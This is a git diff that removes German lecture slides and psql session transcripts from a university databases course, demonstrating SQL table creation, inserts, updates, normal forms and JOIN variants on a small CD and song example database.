Passwort: ¡####¿ - psql (15.5 (Debian 15.5-0+deb12u1)) - SSL-Verbindung (Protokoll: TLSv1.3, Verschlüsselungsmethode: TLS_AES_256_GCM_SHA384, Komprimierung: aus) - Geben Sie »help« für Hilfe ein. - - testdb=> ¡\d¿ - Liste der Relationen - Schema | Name | Typ | Eigentümer - --------+------+---------+------------ - public | tier | Tabelle | postgres - (1 Zeile) - - testdb=> - \end{lstlisting} - \vspace*{-3cm} - \end{onlyenv} - - \begin{onlyenv}<3> - \footnotesize - \begin{lstlisting}[style=terminal,gobble=6] - testdb=> ¡\d tier¿ - Tabelle »public.tier« - Spalte | Typ | Sortierfolge | NULL erlaubt? | Vorgabewert - ---------+---------------+--------------+---------------+------------- - name | character(30) | | | - tierart | character(30) | | | - id | integer | | | - - testdb=> - \end{lstlisting} - \vspace*{-3cm} - \end{onlyenv} - -\end{frame} - -\begin{frame} - - \showsection - \showsubsection - - Datenbank-Abfragesprache: Structured Query Language (SQL) - - \bigskip - - Literatur: z.\,B.\ \url{https://de.wikibooks.org/wiki/Einführung_in_SQL} - - \bigskip - - Wichtige SQL-Befehle: - \begin{itemize} - \item - \lstinline[style=cmd]{CREATE} -- Datenbanken, Tabellen usw.\ anlegen - \item - \lstinline[style=cmd]{DROP} -- Datenbanken, Tabellen usw.\ löschen - \item - \lstinline[style=cmd]{SELECT} -- Daten abfragen - \item - \lstinline[style=cmd]{INSERT INTO ... VALUES} -- Daten eingeben - \item - \lstinline[style=cmd]{UPDATE} -- Daten ändern - \item - \lstinline[style=cmd]{DELETE FROM} -- Daten löschen - \end{itemize} - -\end{frame} - -\subsection{Normalformen} - -\begin{frame} - - \showsection - \showsubsection - - Problem: Schlecht angelegte Datenbanken werden schnell inkonsistent.\\ - Beliebte Fehler: - \begin{itemize} - \item - Speichern von mehreren Daten in demselben Tabelleneintrag\\ - {\only<2->{\color{red}\textarrow\ 1.~Normalform}} - \item - Speichern von denselben Daten in verschiedenen Tabelleneinträgen\\ - {\only<2->{\color{red}\textarrow\ 2.~Normalform}} - \item - implizite Zusammenhänge\\ - {\only<2->{\color{red}\textarrow\ 3.~Normalform und Boyce-Codd-Normalform}} - \item - voneinander unabhängige Zusammenhänge in derselben Tabelle\\ - {\only<2->{\color{red}\textarrow\ 4.~und 5.~Normalform}} - \end{itemize} - - \begin{onlyenv}<2-> - \medskip - - {\color{red}Lösung: Normalformen} - \end{onlyenv} - - \bigskip - - Literatur: z.\,B.\ \url{https://de.wikipedia.org/wiki/Normalisierung_(Datenbank)} - -\end{frame} - -\subsection{Verknüpfungen von Tabellen} - -\begin{frame} - - \showsection - \showsubsection - - Problem: Gut angelegte Datenbanken ({\color{red}\textarrow\ Normalformen})\\ - sind stark aufgesplittet.\\ - Wie kann man sie weiterhin effizient benutzen? - - \bigskip - - Lösung: Verknüpfungen von Tabellen - - \bigskip - - SQL-Befehl: \lstinline[style=cmd]{JOIN} - - \bigskip - - Literatur: z.\,B.\ \url{https://de.wikipedia.org/wiki/SQL} - -\end{frame} - -\end{document} diff --git a/20231116/logo-hochschule-bochum-cvh-text-v2.pdf b/20231116/logo-hochschule-bochum-cvh-text-v2.pdf deleted file mode 120000 index 4aa99b8f81061aca6dcaf43eed2d9efef40555f8..0000000000000000000000000000000000000000 --- a/20231116/logo-hochschule-bochum-cvh-text-v2.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum-cvh-text-v2.pdf \ No newline at end of file diff --git a/20231116/logo-hochschule-bochum.pdf b/20231116/logo-hochschule-bochum.pdf deleted file mode 120000 index b6b9491e370e499c9276918182cdb82cb311bcd1..0000000000000000000000000000000000000000 --- a/20231116/logo-hochschule-bochum.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum.pdf \ No newline at end of file diff --git a/20231116/normalformen-01.txt b/20231116/normalformen-01.txt deleted file mode 100644 index 4f22771f8d9e9afc4976b6822c0b35db0e9613f9..0000000000000000000000000000000000000000 --- a/20231116/normalformen-01.txt +++ /dev/null @@ -1,11 +0,0 @@ -testdb=> CREATE TABLE cd ( cd_id INTEGER, albumtitel TEXT, interpret TEXT, gruendungsjahr INTEGER, erscheinungsjahr INTEGER ); -CREATE TABLE -testdb=> CREATE TABLE lied ( cd_id INTEGER, track integer, titel TEXT ); -CREATE TABLE -testdb=> INSERT INTO TAB - -testdb=> INSERT INTO cd ( cd_id, albumtitel, interpret, gruendungsjahr, erscheinungsjahr ) VALUES ( 4711, 'Not That Kind', 'Anastacia', 1999, 2000 ), ( 4712, 'Wish You Were Here', 'Pink Floyd', 1965, 1975 ), ( 4713, 'Freak of Nature', 'Anastacia', 1999, 2001 ); -INSERT 0 3 -testdb=> INSERT INTO lied ( cd_id, track, titel ) VALUES ( 4711, 1, 'Not That Kind' ), (4711, 2, 'I''m Otta Love' ), ( 4711, 3, 'Cowboys & Kisses' ), ( 4712, 1, 'Shine On You Crazy Diamond' ), ( 4713, 1, 'Paid my Dues' ); -INSERT 0 5 -testdb=> diff --git a/20231116/normalformen-02.txt b/20231116/normalformen-02.txt deleted file mode 100644 index d29b36706f5b63e3a660072e91d21f93fa7dc1e5..0000000000000000000000000000000000000000 --- a/20231116/normalformen-02.txt +++ /dev/null @@ -1,25 +0,0 @@ -testdb=> SELECT albumtitel FROM cd; - albumtitel --------------------- - Not That Kind - Wish You Were Here - Freak of Nature -(3 Zeilen) - -testdb=> SELECT cd_id, albumtitel FROM cd; - cd_id | albumtitel --------+-------------------- - 4711 | Not That Kind - 4712 | Wish You Were Here - 4713 | Freak of Nature -(3 Zeilen) - -testdb=> SELECT * FROM lied WHERE cd_id = 4711; - cd_id | track | titel --------+-------+------------------ - 4711 | 1 | Not That Kind - 4711 | 2 | I'm Otta Love - 4711 | 3 | Cowboys & Kisses -(3 Zeilen) - -testdb=> diff --git a/20231116/normalformen-03.txt b/20231116/normalformen-03.txt deleted file mode 100644 index 497421952a4fcbbf868537aa766f5e49080a8aa7..0000000000000000000000000000000000000000 --- a/20231116/normalformen-03.txt +++ /dev/null @@ -1,27 +0,0 @@ -testdb=> SELECT cd_id FROM cd WHERE albumtitel = 'Not That Kind'; - cd_id -------- - 4711 -(1 Zeile) - -testdb=> SELECT * FROM lied WHERE cd_id = 4711; - cd_id | track | titel --------+-------+------------------ - 4711 | 1 | Not That Kind - 4711 | 2 | I'm Otta Love - 4711 | 3 | Cowboys & Kisses -(3 Zeilen) - -testdb=> SELECT * FROM lied WHERE cd_id = SELECT cd_id FROM cd WHERE albumtitel = 'Not That Kind'; -FEHLER: Syntaxfehler bei »SELECT« -ZEILE 1: SELECT * FROM lied WHERE cd_id = SELECT cd_id FROM cd WHERE ... - ^ -testdb=> SELECT * FROM lied WHERE cd_id = ( SELECT cd_id FROM cd WHERE albumtitel = 'Not That Kind' ); - cd_id | track | titel --------+-------+------------------ - 4711 | 1 | Not That Kind - 4711 | 2 | I'm Otta Love - 4711 | 3 | Cowboys & Kisses -(3 Zeilen) - -testdb=> diff --git a/20231116/normalformen-04.txt b/20231116/normalformen-04.txt deleted file mode 100644 index 1e34622e01c9f7a658bb884466ee80aef0ace3ba..0000000000000000000000000000000000000000 --- a/20231116/normalformen-04.txt +++ /dev/null @@ -1,9 +0,0 @@ -testdb=> SELECT * FROM cd LEFT JOIN lied ON cd.cd_id = lied.cd_id; - cd_id | albumtitel | interpret | gruendungsjahr | erscheinungsjahr | cd_id | track | titel --------+--------------------+------------+----------------+------------------+-------+-------+---------------------------- - 4711 | Not That Kind | Anastacia | 1999 | 2000 | 4711 | 1 | Not That Kind - 4711 | Not That Kind | Anastacia | 1999 | 2000 | 4711 | 2 | I'm Otta Love - 4711 | Not That Kind | Anastacia | 1999 | 2000 | 4711 | 3 | Cowboys & Kisses - 4712 | Wish You Were Here | Pink Floyd | 1965 | 1975 | 4712 | 1 | Shine On You Crazy Diamond - 4713 | Freak of Nature | Anastacia | 1999 | 2001 | 4713 | 1 | Paid my Dues -(5 Zeilen) diff --git a/20231116/normalformen-05.txt b/20231116/normalformen-05.txt deleted file mode 100644 index 863b09a8510f2459b17fa455c7fba5abbe5ca885..0000000000000000000000000000000000000000 --- a/20231116/normalformen-05.txt +++ /dev/null @@ -1,31 +0,0 @@ -testdb=> SELECT * FROM cd LEFT JOIN lied ON cd.cd_id = lied.cd_id; - cd_id | albumtitel | interpret | gruendungsjahr | erscheinungsjahr | cd_id | track | titel --------+--------------------+------------+----------------+------------------+-------+-------+---------------------------- - 4711 | Not That Kind | Anastacia | 1999 | 2000 | 4711 | 1 | Not That Kind - 4711 | Not That Kind | Anastacia | 1999 | 2000 | 4711 | 2 | I'm Otta Love - 4711 | Not That Kind | Anastacia | 1999 | 2000 | 4711 | 3 | Cowboys & Kisses - 4712 | Wish You Were Here | Pink Floyd | 1965 | 1975 | 4712 | 1 | Shine On You Crazy Diamond - 4713 | Freak of Nature | Anastacia | 1999 | 2001 | 4713 | 1 | Paid my Dues -(5 Zeilen) - -testdb=> SELECT * FROM cd JOIN lied ON cd.cd_id = lied.cd_id; - cd_id | albumtitel | interpret | gruendungsjahr | erscheinungsjahr | cd_id | track | titel --------+--------------------+------------+----------------+------------------+-------+-------+---------------------------- - 4711 | Not That Kind | Anastacia | 1999 | 2000 | 4711 | 1 | Not That Kind - 4711 | Not That Kind | Anastacia | 1999 | 2000 | 4711 | 2 | I'm Otta Love - 4711 | Not That Kind | Anastacia | 1999 | 2000 | 4711 | 3 | Cowboys & Kisses - 4712 | Wish You Were Here | Pink Floyd | 1965 | 1975 | 4712 | 1 | Shine On You Crazy Diamond - 4713 | Freak of Nature | Anastacia | 1999 | 2001 | 4713 | 1 | Paid my Dues -(5 Zeilen) - -testdb=> SELECT * FROM lied JOIN cd ON cd.cd_id = lied.cd_id; - cd_id | track | titel | cd_id | albumtitel | interpret | gruendungsjahr | erscheinungsjahr --------+-------+----------------------------+-------+--------------------+------------+----------------+------------------ - 4711 | 1 | Not That Kind | 4711 | Not That Kind | Anastacia | 1999 | 2000 - 4711 | 2 | I'm Otta Love | 4711 | Not That Kind | Anastacia | 1999 | 2000 - 4711 | 3 | Cowboys & Kisses | 4711 | Not That Kind | Anastacia | 1999 | 2000 - 4712 | 1 | Shine On You Crazy Diamond | 4712 | Wish You Were Here | Pink Floyd | 1965 | 1975 - 4713 | 1 | Paid my Dues | 4713 | Freak of Nature | Anastacia | 1999 | 2001 -(5 Zeilen) - -testdb=> diff --git a/20231116/normalformen-06.txt b/20231116/normalformen-06.txt deleted file mode 100644 index f1215cafcb933d62f44badfcfcd64aec6e3a9589..0000000000000000000000000000000000000000 --- a/20231116/normalformen-06.txt +++ /dev/null @@ -1,67 +0,0 @@ -testdb=> INSERT INTO cd ( cd_id, albumtitel, interpret, gruendungsjahr, erscheinungsjahr ) VALUES ( 4714, 'Queen', 'Songs For The Deaf', 1996, 2002 ); -INSERT 0 1 -testdb=> SELECT * FROM cd; - cd_id | albumtitel | interpret | gruendungsjahr | erscheinungsjahr --------+--------------------+--------------------+----------------+------------------ - 4711 | Not That Kind | Anastacia | 1999 | 2000 - 4712 | Wish You Were Here | Pink Floyd | 1965 | 1975 - 4713 | Freak of Nature | Anastacia | 1999 | 2001 - 4714 | Queen | Songs For The Deaf | 1996 | 2002 -(4 Zeilen) - -testdb=> SELECT * FROM lied; - cd_id | track | titel --------+-------+---------------------------- - 4711 | 1 | Not That Kind - 4711 | 2 | I'm Otta Love - 4711 | 3 | Cowboys & Kisses - 4712 | 1 | Shine On You Crazy Diamond - 4713 | 1 | Paid my Dues -(5 Zeilen) - -testdb=> SELECT * FROM lied JOIN cd ON cd.cd_id = lied.cd_id; - cd_id | track | titel | cd_id | albumtitel | interpret | gruendungsjahr | erscheinungsjahr --------+-------+----------------------------+-------+--------------------+------------+----------------+------------------ - 4711 | 1 | Not That Kind | 4711 | Not That Kind | Anastacia | 1999 | 2000 - 4711 | 2 | I'm Otta Love | 4711 | Not That Kind | Anastacia | 1999 | 2000 - 4711 | 3 | Cowboys & Kisses | 4711 | Not That Kind | Anastacia | 1999 | 2000 - 4712 | 1 | Shine On You Crazy Diamond | 4712 | Wish You Were Here | Pink Floyd | 1965 | 1975 - 4713 | 1 | Paid my Dues | 4713 | Freak of Nature | Anastacia | 1999 | 2001 -(5 Zeilen) - -testdb=> SELECT * FROM lied LEFT JOIN cd ON cd.cd_id = lied.cd_id; - cd_id | track | titel | cd_id | albumtitel | interpret | gruendungsjahr | erscheinungsjahr --------+-------+----------------------------+-------+--------------------+------------+----------------+------------------ - 4711 | 1 | Not That Kind | 4711 | Not That Kind | Anastacia | 1999 | 2000 - 4711 | 2 | I'm Otta Love | 4711 | Not That Kind | Anastacia | 1999 | 2000 - 4711 | 3 | Cowboys & Kisses | 4711 | Not That Kind | Anastacia | 1999 | 2000 - 4712 | 1 | Shine On You Crazy Diamond | 4712 | Wish You Were Here | Pink Floyd | 1965 | 1975 - 4713 | 1 | Paid my Dues | 4713 | Freak of Nature | Anastacia | 1999 | 2001 -(5 Zeilen) - -testdb=> SELECT * FROM lied RIGHT JOIN cd ON cd.cd_id = lied.cd_id; - cd_id | track | titel | cd_id | albumtitel | interpret | gruendungsjahr | erscheinungsjahr --------+-------+----------------------------+-------+--------------------+--------------------+----------------+------------------ - 4711 | 1 | Not That Kind | 4711 | Not That Kind | Anastacia | 1999 | 2000 - 4711 | 2 | I'm Otta Love | 4711 | Not That Kind | Anastacia | 1999 | 2000 - 4711 | 3 | Cowboys & Kisses | 4711 | Not That Kind | Anastacia | 1999 | 2000 - 4712 | 1 | Shine On You Crazy Diamond | 4712 | Wish You Were Here | Pink Floyd | 1965 | 1975 - 4713 | 1 | Paid my Dues | 4713 | Freak of Nature | Anastacia | 1999 | 2001 - | | | 4714 | Queen | Songs For The Deaf | 1996 | 2002 -(6 Zeilen) - -testdb=> UPDATE cd SET gruendungsjahr=1970 WHERE interpret='Queen'; -UPDATE 0 -testdb=> -testdb=> SELECT * FROM cd LEFT JOIN lied ON cd.cd_id = lied.cd_id; - cd_id | albumtitel | interpret | gruendungsjahr | erscheinungsjahr | cd_id | track | titel --------+--------------------+--------------------+----------------+------------------+-------+-------+---------------------------- - 4711 | Not That Kind | Anastacia | 1999 | 2000 | 4711 | 1 | Not That Kind - 4711 | Not That Kind | Anastacia | 1999 | 2000 | 4711 | 2 | I'm Otta Love - 4711 | Not That Kind | Anastacia | 1999 | 2000 | 4711 | 3 | Cowboys & Kisses - 4712 | Wish You Were Here | Pink Floyd | 1965 | 1975 | 4712 | 1 | Shine On You Crazy Diamond - 4713 | Freak of Nature | Anastacia | 1999 | 2001 | 4713 | 1 | Paid my Dues - 4714 | Queen | Songs For The Deaf | 1996 | 2002 | | | -(6 Zeilen) - -testdb=> diff --git a/20231116/normalformen-07.txt b/20231116/normalformen-07.txt deleted file mode 100644 index 2e4c48344b8a16fc00fd9b593a05a291cc35c829..0000000000000000000000000000000000000000 --- a/20231116/normalformen-07.txt +++ /dev/null @@ -1,25 +0,0 @@ -testdb=> SELECT * FROM cd LEFT JOIN lied ON cd.cd_id = lied.cd_id; - cd_id | albumtitel | interpret | gruendungsjahr | erscheinungsjahr | cd_id | track | titel --------+--------------------+--------------------+----------------+------------------+-------+-------+---------------------------- - 4711 | Not That Kind | Anastacia | 1999 | 2000 | 4711 | 1 | Not That Kind - 4711 | Not That Kind | Anastacia | 1999 | 2000 | 4711 | 2 | I'm Otta Love - 4711 | Not That Kind | Anastacia | 1999 | 2000 | 4711 | 3 | Cowboys & Kisses - 4712 | Wish You Were Here | Pink Floyd | 1965 | 1975 | 4712 | 1 | Shine On You Crazy Diamond - 4713 | Freak of Nature | Anastacia | 1999 | 2001 | 4713 | 1 | Paid my Dues - 4714 | Queen | Songs For The Deaf | 1996 | 2002 | | | -(6 Zeilen) - -testdb=> UPDATE cd SET gruendungsjahr = 1970, albumtitel = 'Songs For TRhe Deaf', interpret = 'Queen' WHERE albumtitel = 'Queen'; -UPDATE 1 -testdb=> SELECT * FROM cd LEFT JOIN lied ON cd.cd_id = lied.cd_id; - cd_id | albumtitel | interpret | gruendungsjahr | erscheinungsjahr | cd_id | track | titel --------+---------------------+------------+----------------+------------------+-------+-------+---------------------------- - 4711 | Not That Kind | Anastacia | 1999 | 2000 | 4711 | 1 | Not That Kind - 4711 | Not That Kind | Anastacia | 1999 | 2000 | 4711 | 2 | I'm Otta Love - 4711 | Not That Kind | Anastacia | 1999 | 2000 | 4711 | 3 | Cowboys & Kisses - 4712 | Wish You Were Here | Pink Floyd | 1965 | 1975 | 4712 | 1 | Shine On You Crazy Diamond - 4713 | Freak of Nature | Anastacia | 1999 | 2001 | 4713 | 1 | Paid my Dues - 4714 | Songs For TRhe Deaf | Queen | 1970 | 2002 | | | -(6 Zeilen) - -testdb=> diff --git a/20231116/normalformen-08.txt b/20231116/normalformen-08.txt deleted file mode 100644 index 968f3f647e0b46c8201b613aa357fc4893c5eba8..0000000000000000000000000000000000000000 --- a/20231116/normalformen-08.txt +++ /dev/null @@ -1,24 +0,0 @@ -testdb=> UPDATE cd SET interpret = 'Queens of the Stone Age', gruendungsjahr = 1996, albumtitel = 'Songs for the Deaf' WHERE interpret = 'Queen'; -UPDATE 1 -testdb=> SELECT * FROM cd LEFT JOIN lied ON cd.cd_id = lied.cd_id; - cd_id | albumtitel | interpret | gruendungsjahr | erscheinungsjahr | cd_id | track | titel --------+--------------------+-------------------------+----------------+------------------+-------+-------+---------------------------- - 4711 | Not That Kind | Anastacia | 1999 | 2000 | 4711 | 1 | Not That Kind - 4711 | Not That Kind | Anastacia | 1999 | 2000 | 4711 | 2 | I'm Otta Love - 4711 | Not That Kind | Anastacia | 1999 | 2000 | 4711 | 3 | Cowboys & Kisses - 4712 | Wish You Were Here | Pink Floyd | 1965 | 1975 | 4712 | 1 | Shine On You Crazy Diamond - 4713 | Freak of Nature | Anastacia | 1999 | 2001 | 4713 | 1 | Paid my Dues - 4714 | Songs for the Deaf | Queens of the Stone Age | 1996 | 2002 | | | -(6 Zeilen) - -testdb=> SELECT * FROM cd JOIN lied ON cd.cd_id = lied.cd_id; - cd_id | albumtitel | interpret | gruendungsjahr | erscheinungsjahr | cd_id | track | titel --------+--------------------+------------+----------------+------------------+-------+-------+---------------------------- - 4711 | Not That Kind | Anastacia | 1999 | 2000 | 4711 | 1 | Not That Kind - 4711 | Not That Kind | Anastacia | 1999 | 2000 | 4711 | 2 | I'm Otta Love - 4711 | Not That Kind | Anastacia | 1999 | 2000 | 4711 | 3 | Cowboys & Kisses - 4712 | Wish You Were Here | Pink Floyd | 1965 | 1975 | 4712 | 1 | Shine On You Crazy Diamond - 4713 | Freak of Nature | Anastacia | 1999 | 2001 | 4713 | 1 | Paid my Dues -(5 Zeilen) - -testdb=> diff --git a/20231116/normalformen-09.txt b/20231116/normalformen-09.txt deleted file mode 100644 index f445660caee53be762872ff06d0a06a3d9fe4669..0000000000000000000000000000000000000000 --- a/20231116/normalformen-09.txt +++ /dev/null @@ -1,51 +0,0 @@ -testdb=> INSERT INTO lied ( cd_id, track, titel ) VALUES ( 4733, 1, '4''33"' ); -INSERT 0 1 -testdb=> SELECT * FROM cd JOIN lied ON cd.cd_id = lied.cd_id; - cd_id | albumtitel | interpret | gruendungsjahr | erscheinungsjahr | cd_id | track | titel --------+--------------------+------------+----------------+------------------+-------+-------+---------------------------- - 4711 | Not That Kind | Anastacia | 1999 | 2000 | 4711 | 1 | Not That Kind - 4711 | Not That Kind | Anastacia | 1999 | 2000 | 4711 | 2 | I'm Otta Love - 4711 | Not That Kind | Anastacia | 1999 | 2000 | 4711 | 3 | Cowboys & Kisses - 4712 | Wish You Were Here | Pink Floyd | 1965 | 1975 | 4712 | 1 | Shine On You Crazy Diamond - 4713 | Freak of Nature | Anastacia | 1999 | 2001 | 4713 | 1 | Paid my Dues -(5 Zeilen) - -testdb=> SELECT * FROM cd RIGHT JOIN lied ON cd.cd_id = lied.cd_id; - cd_id | albumtitel | interpret | gruendungsjahr | erscheinungsjahr | cd_id | track | titel --------+--------------------+------------+----------------+------------------+-------+-------+---------------------------- - 4711 | Not That Kind | Anastacia | 1999 | 2000 | 4711 | 1 | Not That Kind - 4711 | Not That Kind | Anastacia | 1999 | 2000 | 4711 | 2 | I'm Otta Love - 4711 | Not That Kind | Anastacia | 1999 | 2000 | 4711 | 3 | Cowboys & Kisses - 4712 | Wish You Were Here | Pink Floyd | 1965 | 1975 | 4712 | 1 | Shine On You Crazy Diamond - 4713 | Freak of Nature | Anastacia | 1999 | 2001 | 4713 | 1 | Paid my Dues - | | | | | 4733 | 1 | 4'33" -(6 Zeilen) - -testdb=> SELECT * FROM cd LEFT JOIN lied ON cd.cd_id = lied.cd_id; - cd_id | albumtitel | interpret | gruendungsjahr | erscheinungsjahr | cd_id | track | titel --------+--------------------+-------------------------+----------------+------------------+-------+-------+---------------------------- - 4711 | Not That Kind | Anastacia | 1999 | 2000 | 4711 | 1 | Not That Kind - 4711 | Not That Kind | Anastacia | 1999 | 2000 | 4711 | 2 | I'm Otta Love - 4711 | Not That Kind | Anastacia | 1999 | 2000 | 4711 | 3 | Cowboys & Kisses - 4712 | Wish You Were Here | Pink Floyd | 1965 | 1975 | 4712 | 1 | Shine On You Crazy Diamond - 4713 | Freak of Nature | Anastacia | 1999 | 2001 | 4713 | 1 | Paid my Dues - 4714 | Songs for the Deaf | Queens of the Stone Age | 1996 | 2002 | | | -(6 Zeilen) - -testdb=> SELECT * FROM cd FULL JOIN lied ON cd.cd_id = lied.cd_id; - cd_id | albumtitel | interpret | gruendungsjahr | erscheinungsjahr | cd_id | track | titel --------+--------------------+-------------------------+----------------+------------------+-------+-------+---------------------------- - 4711 | Not That Kind | Anastacia | 1999 | 2000 | 4711 | 1 | Not That Kind - 4711 | Not That Kind | Anastacia | 1999 | 2000 | 4711 | 2 | I'm Otta Love - 4711 | Not That Kind | Anastacia | 1999 | 2000 | 4711 | 3 | Cowboys & Kisses - 4712 | Wish You Were Here | Pink Floyd | 1965 | 1975 | 4712 | 1 | Shine On You Crazy Diamond - 4713 | Freak of Nature | Anastacia | 1999 | 2001 | 4713 | 1 | Paid my Dues - 4714 | Songs for the Deaf | Queens of the Stone Age | 1996 | 2002 | | | - | | | | | 4733 | 1 | 4'33" -(7 Zeilen) - -testdb=> SELECT * FROM cd OUTER JOIN lied ON cd.cd_id = lied.cd_id; -FEHLER: Syntaxfehler bei »OUTER« -ZEILE 1: SELECT * FROM cd OUTER JOIN lied ON cd.cd_id = lied.cd_id; - ^ -testdb=> diff --git a/20231116/normalformen-10.txt b/20231116/normalformen-10.txt deleted file mode 100644 index 0d1549d3a4b2268f3038e8b6012990ca85fb8b06..0000000000000000000000000000000000000000 --- a/20231116/normalformen-10.txt +++ /dev/null @@ -1,65 +0,0 @@ -testdb=> \d - Liste der Relationen - Schema | Name | Typ | Eigentümer ---------+------+---------+------------ - public | cd | Tabelle | dbs - public | lied | Tabelle | dbs - public | test | Tabelle | dbs - public | tier | Tabelle | postgres -(4 Zeilen) - -testdb=> SELECT * FROM cd; - cd_id | albumtitel | interpret | gruendungsjahr | erscheinungsjahr --------+--------------------+-------------------------+----------------+------------------ - 4711 | Not That Kind | Anastacia | 1999 | 2000 - 4712 | Wish You Were Here | Pink Floyd | 1965 | 1975 - 4713 | Freak of Nature | Anastacia | 1999 | 2001 - 4714 | Songs for the Deaf | Queens of the Stone Age | 1996 | 2002 -(4 Zeilen) - -testdb=> SELECT * FROM lied; - cd_id | track | titel --------+-------+---------------------------- - 4711 | 1 | Not That Kind - 4711 | 2 | I'm Otta Love - 4711 | 3 | Cowboys & Kisses - 4712 | 1 | Shine On You Crazy Diamond - 4713 | 1 | Paid my Dues - 4733 | 1 | 4'33" -(6 Zeilen) - -testdb=> SELECT * FROM cd LEFT JOIN lied ON cd.cd_id = lied.cd_id; - cd_id | albumtitel | interpret | gruendungsjahr | erscheinungsjahr | cd_id | track | titel --------+--------------------+-------------------------+----------------+------------------+-------+-------+---------------------------- - 4711 | Not That Kind | Anastacia | 1999 | 2000 | 4711 | 1 | Not That Kind - 4711 | Not That Kind | Anastacia | 1999 | 2000 | 4711 | 2 | I'm Otta Love - 4711 | Not That Kind | Anastacia | 1999 | 2000 | 4711 | 3 | Cowboys & Kisses - 4712 | Wish You Were Here | Pink Floyd | 1965 | 1975 | 4712 | 1 | Shine On You Crazy Diamond - 4713 | Freak of Nature | Anastacia | 1999 | 2001 | 4713 | 1 | Paid my Dues - 4714 | Songs for the Deaf | Queens of the Stone Age | 1996 | 2002 | | | -(6 Zeilen) - -testdb=> SELECT * FROM cd RIGHT JOIN lied ON cd.cd_id = lied.cd_id; - cd_id | albumtitel | interpret | gruendungsjahr | erscheinungsjahr | cd_id | track | titel --------+--------------------+------------+----------------+------------------+-------+-------+---------------------------- - 4711 | Not That Kind | Anastacia | 1999 | 2000 | 4711 | 1 | Not That Kind - 4711 | Not That Kind | Anastacia | 1999 | 2000 | 4711 | 2 | I'm Otta Love - 4711 | Not That Kind | Anastacia | 1999 | 2000 | 4711 | 3 | Cowboys & Kisses - 4712 | Wish You Were Here | Pink Floyd | 1965 | 1975 | 4712 | 1 | Shine On You Crazy Diamond - 4713 | Freak of Nature | Anastacia | 1999 | 2001 | 4713 | 1 | Paid my Dues - | | | | | 4733 | 1 | 4'33" -(6 Zeilen) - -testdb=> SELECT * FROM cd FULL JOIN lied ON cd.cd_id = lied.cd_id; - cd_id | albumtitel | interpret | gruendungsjahr | erscheinungsjahr | cd_id | track | titel --------+--------------------+-------------------------+----------------+------------------+-------+-------+---------------------------- - 4711 | Not That Kind | Anastacia | 1999 | 2000 | 4711 | 1 | Not That Kind - 4711 | Not That Kind | Anastacia | 1999 | 2000 | 4711 | 2 | I'm Otta Love - 4711 | Not That Kind | Anastacia | 1999 | 2000 | 4711 | 3 | Cowboys & Kisses - 4712 | Wish You Were Here | Pink Floyd | 1965 | 1975 | 4712 | 1 | Shine On You Crazy Diamond - 4713 | Freak of Nature | Anastacia | 1999 | 2001 | 4713 | 1 | Paid my Dues - 4714 | Songs for the Deaf | Queens of the Stone Age | 1996 | 2002 | | | - | | | | | 4733 | 1 | 4'33" -(7 Zeilen) - -testdb=> diff --git a/20231116/pgslides.sty b/20231116/pgslides.sty deleted file mode 120000 index 5be1416f4216f076aa268901f52a15d775e43f64..0000000000000000000000000000000000000000 --- a/20231116/pgslides.sty +++ /dev/null @@ -1 +0,0 @@ -../common/pgslides.sty \ No newline at end of file diff --git a/20231123/Zeichen_123.pdf b/20231123/Zeichen_123.pdf deleted file mode 120000 index fdbc897227df059cfda790a16555e6e417682116..0000000000000000000000000000000000000000 --- a/20231123/Zeichen_123.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/Zeichen_123.pdf \ No newline at end of file diff --git a/20231123/dbs-20231123.pdf b/20231123/dbs-20231123.pdf deleted file mode 100644 index 6468b0a62ee34e14e606988dcd005a79fb3bb347..0000000000000000000000000000000000000000 Binary files a/20231123/dbs-20231123.pdf and /dev/null differ diff --git a/20231123/dbs-20231123.tex b/20231123/dbs-20231123.tex deleted file mode 100644 index bb810c3dfdd5b0285757cb5f84e9435f4bcab66c..0000000000000000000000000000000000000000 --- a/20231123/dbs-20231123.tex +++ /dev/null @@ -1,347 +0,0 @@ -% dbs-20231123.pdf - Lecture Slides on Databases and Information Security -% Copyright (C) 2023 Peter Gerwinski -% -% This document is free software: you can redistribute it and/or -% modify it either under the terms of the Creative Commons -% Attribution-ShareAlike 3.0 License, or under the terms of the -% GNU General Public License as published by the Free Software -% Foundation, either version 3 of the License, or (at your option) -% any later version. -% -% This document is distributed in the hope that it will be useful, -% but WITHOUT ANY WARRANTY; without even the implied warranty of -% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -% GNU General Public License for more details. -% -% You should have received a copy of the GNU General Public License -% along with this document. If not, see <http://www.gnu.org/licenses/>. -% -% You should have received a copy of the Creative Commons -% Attribution-ShareAlike 3.0 Unported License along with this -% document. If not, see <http://creativecommons.org/licenses/>. - -% README: Relationale Datenbanken: Sichten, Schlüsselfelder, Datensicherung - -\documentclass[10pt,t]{beamer} - -\usepackage{pgslides} - -\newcommand{\vfilll}{\vspace{0pt plus 1filll}} - -\newcommand{\underconstruction}{% - \begin{picture}(0,0) - \put(11,1.2){\makebox(0,0)[b]{\includegraphics[width=1.5cm]{Zeichen_123.pdf}}} - \put(11,0.9){\makebox(0,0)[t]{\shortstack{Änderungen\\vorbehalten}}} - \end{picture}} - -\title{Datenbanken und Datensicherheit} -\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski} -\date{23.\ November 2023} - -\begin{document} - -\maketitleframe - -\nosectionnonumber{\inserttitle} - -\begin{frame} - - \shownosectionnonumber - - \begin{itemize} - \item[\textbf{1}] \textbf{Einführung} - \hfill\makebox(0,0)[br]{\raisebox{2.25ex}{\url{https://gitlab.cvh-server.de/pgerwinski/dbs}}}% - \item[\textbf{2}] \textbf{Kurzeinführung Unix} - \item[\textbf{3}] \textbf{Kurzeinführung TCP/IP} - \item[\textbf{4}] \textbf{Relationale Datenbanken} - \begin{itemize} - \item[4.1] Einführung in DBMS - \item[4.2] Einführung in SQL - \color{medgreen} - \item[4.3] Normalformen - \color{orange} - \item[4.4] Verknüpfungen von Tabellen - \color{red} - \item[4.5] Sichten - \item[4.6] Schlüsselfelder - \item[4.7] Datensicherung - \end{itemize} - \vspace*{-\smallskipamount} - \item[\textbf{\dots}] - \end{itemize} - - \vfilll - \underconstruction - -\end{frame} - -\setcounter{section}{3} -\section{Relationale Datenbanken} -\setcounter{subsection}{1} -\subsection{Einführung in SQL} - -\begin{frame} - - \showsection - \showsubsection - - Datenbank-Abfragesprache: 